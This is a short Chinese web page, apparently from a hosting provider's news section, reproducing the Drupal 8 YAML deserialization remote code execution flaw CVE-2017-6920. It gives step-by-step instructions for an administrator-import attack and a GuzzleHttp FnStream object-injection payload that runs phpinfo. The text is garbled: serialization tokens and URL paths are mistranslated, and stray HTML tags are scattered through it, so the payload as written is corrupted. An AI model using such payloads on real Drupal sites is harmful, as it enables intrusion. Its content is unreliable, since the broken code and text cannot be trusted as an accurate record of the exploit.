Drupal核心8 PECL YAML反序列化任意 - 行业资讯 - 肥雀云

漏洞背景:
2017年6月21日,Drupal官方发布了一个编号为cve - 2017 - 6920的漏洞,影响为重要。这是Drupal核心的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8。x的Drupal核心。

漏洞复现:
1。打开网页先登录一个管理员账号。
2。访问http://你的ip: 8080/管理/配置/开发/配置/单/导入
3。然后如下图所示:第二个随便填。 $Drupal核心8 PECL YAML反序列化任意”> <br/> poc: !php/对象“O: 24: \“GuzzleHttp \ Psr7 \ FnStream \“: 2: {0 GuzzleHttp年代:33:\“\ \ Psr7 \ FnStream \ \“0方法;答:1:{:5:\“\“密切;销售:7:\“phpinfo \“;}: 9: \“_fn_close \“;销售:7:\“phpinfo \“;}“</p> 　　<pre> <代码> 4。然后执行最下面的导入,会再出来个phpinto就代表成了。</代码> </pre><h2 class=$ Drupal核心8 PECL YAML反序列化任意